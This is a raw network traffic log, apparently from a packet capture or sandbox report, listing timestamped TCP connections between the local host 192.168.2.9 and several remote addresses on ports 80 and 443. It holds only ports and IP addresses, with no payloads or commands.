Nov 20, 2024 16:50:58.857827902 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.857868910 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.859308004 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.859370947 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.859385967 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.859404087 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.859528065 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.859540939 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.859581947 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.860441923 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.860491991 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.860558987 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.860599995 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.861387014 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.861433029 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.861514091 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.861952066 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.862251997 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.862308025 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.862447023 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.862574100 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.863183022 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.863272905 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.863440037 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.863569975 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.864794970 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.864883900 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.864914894 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.864948988 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.865075111 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.865087032 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.865134954 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.865189075 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.865962029 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.866029024 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.866162062 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.866319895 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.866871119 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.866997957 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.867055893 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.867863894 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.867883921 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.867918015 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.867947102 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.879635096 CET	443	49803	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:58.879687071 CET	443	49803	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:58.879769087 CET	49803	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:58.879786015 CET	443	49803	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:58.883084059 CET	443	49803	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:58.883500099 CET	49803	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:58.888796091 CET	49803	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:58.888823986 CET	443	49803	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:58.889502048 CET	49812	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:58.889533043 CET	443	49812	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:58.889777899 CET	49812	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:58.890513897 CET	49812	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:58.890532017 CET	443	49812	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:58.953222036 CET	443	49805	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:58.953279018 CET	443	49805	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:58.953335047 CET	49805	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:58.953349113 CET	443	49805	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:58.953466892 CET	49805	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:58.955333948 CET	49805	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:58.955352068 CET	443	49805	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:58.956934929 CET	49813	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:58.956989050 CET	443	49813	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:58.957407951 CET	49813	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:58.957691908 CET	49813	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:58.957709074 CET	443	49813	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:58.957984924 CET	443	49802	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:58.958019018 CET	443	49802	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:58.958072901 CET	49802	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:58.958102942 CET	443	49802	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:58.958822012 CET	443	49802	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:58.958930016 CET	49802	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:58.963515997 CET	49802	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:58.963546991 CET	443	49802	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:58.963560104 CET	49802	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:58.963594913 CET	49802	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:59.015333891 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.015403986 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.015641928 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.015703917 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.015820980 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.015866041 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.016046047 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.016102076 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.016416073 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.016474009 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.016582966 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.016619921 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.017590046 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.017605066 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.017671108 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.017671108 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.018098116 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.018140078 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.018244028 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.018285990 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.019104958 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.019118071 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.019154072 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.019917011 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.019961119 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.020070076 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.020114899 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.020968914 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.020987988 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.021013021 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.021027088 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.021615982 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.021689892 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.021956921 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.022001982 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.022610903 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.022778034 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.022825003 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.023751020 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.023765087 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.023813009 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.024403095 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.024446011 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.024732113 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.024777889 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.025408030 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.025464058 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.025593996 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.026377916 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.026428938 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.026554108 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.026922941 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.027452946 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.027492046 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.027594090 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.027723074 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.028386116 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.028398991 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.028449059 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.029150009 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.029197931 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.029282093 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.029320002 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.030143976 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.030157089 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.030200005 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.030970097 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.031018972 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.031152010 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.031199932 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.031999111 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.032012939 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.032047987 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.032948971 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.032963037 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.033014059 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.033720016 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.033740044 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.033756018 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.033767939 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.033781052 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.033786058 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.033796072 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.033809900 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.033823013 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.033842087 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.033859968 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.034029007 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.034074068 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.034146070 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.034184933 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.034936905 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.034996033 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.035037041 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.035434961 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.035865068 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.036205053 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.036252022 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.036797047 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.036916018 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.036958933 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.037713051 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.037797928 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.037841082 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.038664103 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.038707972 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.038754940 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.038882971 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.039551973 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.039599895 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.039661884 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.039709091 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.040508986 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.040554047 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.040597916 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.040640116 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.041476965 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.041523933 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.041826010 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.041872025 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.042349100 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.042392015 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.042638063 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.042684078 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.043256044 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.043292999 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.043375969 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.043414116 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.044188023 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.044239998 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.044310093 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.044351101 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.045078039 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.045123100 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.045197964 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.045245886 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.046063900 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.046114922 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.046192884 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.046236992 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.046915054 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.046961069 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.047004938 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.047045946 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.047935009 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.048064947 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.048094034 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.048137903 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.048793077 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.048819065 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.048866987 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.049732924 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.049803972 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.049851894 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.049947977 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.050789118 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.050838947 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.050853968 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.050942898 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.051589966 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.051636934 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.051672935 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.051708937 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.052472115 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.052529097 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.052773952 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.052858114 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.053359985 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.053427935 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.053644896 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.053875923 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.054465055 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.054528952 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.054704905 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.054750919 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.055629015 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.055684090 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.055701971 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.055736065 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.056128025 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.056184053 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.056297064 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.056358099 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.057034969 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.057082891 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.057148933 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.057188034 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.058535099 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.058594942 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.058608055 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.058645964 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.059156895 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.059205055 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.059228897 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.059271097 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.059891939 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.059967041 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.060084105 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.062048912 CET	443	49806	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:59.062072039 CET	443	49806	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:59.062127113 CET	443	49806	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:59.062254906 CET	49806	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:59.062254906 CET	49806	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:59.063256025 CET	49806	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:59.063268900 CET	443	49806	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:59.065409899 CET	443	49804	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:59.065439939 CET	443	49804	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:59.066050053 CET	49804	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:59.066061020 CET	443	49804	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:59.066438913 CET	443	49804	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:59.066574097 CET	49804	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:59.068037987 CET	49804	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:59.068048000 CET	443	49804	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:59.189748049 CET	443	49807	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:59.189769983 CET	443	49807	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:59.189831972 CET	49807	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:59.189847946 CET	443	49807	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:59.189904928 CET	49807	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:59.194029093 CET	49807	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:59.194056988 CET	443	49807	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:59.197729111 CET	49814	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:50:59.197786093 CET	443	49814	23.221.239.203	192.168.2.9
Nov 20, 2024 16:50:59.197868109 CET	49814	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:50:59.198110104 CET	49815	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:50:59.198152065 CET	443	49815	23.221.239.203	192.168.2.9
Nov 20, 2024 16:50:59.198270082 CET	49815	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:50:59.199009895 CET	49816	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:50:59.199042082 CET	443	49816	23.221.239.203	192.168.2.9
Nov 20, 2024 16:50:59.199325085 CET	49816	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:50:59.199417114 CET	49817	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:50:59.199445963 CET	443	49817	23.221.239.203	192.168.2.9
Nov 20, 2024 16:50:59.199537992 CET	49818	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:50:59.199554920 CET	443	49818	23.221.239.203	192.168.2.9
Nov 20, 2024 16:50:59.199582100 CET	49817	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:50:59.199609995 CET	49818	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:50:59.199748993 CET	49814	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:50:59.199764967 CET	443	49814	23.221.239.203	192.168.2.9
Nov 20, 2024 16:50:59.199871063 CET	49815	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:50:59.199888945 CET	443	49815	23.221.239.203	192.168.2.9
Nov 20, 2024 16:50:59.199961901 CET	49816	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:50:59.199971914 CET	443	49816	23.221.239.203	192.168.2.9
Nov 20, 2024 16:50:59.200048923 CET	49817	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:50:59.200062037 CET	443	49817	23.221.239.203	192.168.2.9
Nov 20, 2024 16:50:59.200154066 CET	49818	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:50:59.200165033 CET	443	49818	23.221.239.203	192.168.2.9
Nov 20, 2024 16:50:59.204267025 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.204292059 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.204328060 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.204351902 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.204699039 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.204744101 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.204828978 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.204873085 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.205591917 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.205646992 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.205846071 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:59.205889940 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:59.206201077 CET	49819	443	192.168.2.9	18.238.49.99
Nov 20, 2024 16:50:59.206228971 CET	443	49819	18.238.49.99	192.168.2.9
Nov 20, 2024 16:50:59.206300020 CET	49819	443	192.168.2.9	18.238.49.99
Nov 20, 2024 16:50:59.206507921 CET	80	49752	185.215.113.206	192.168.2.9
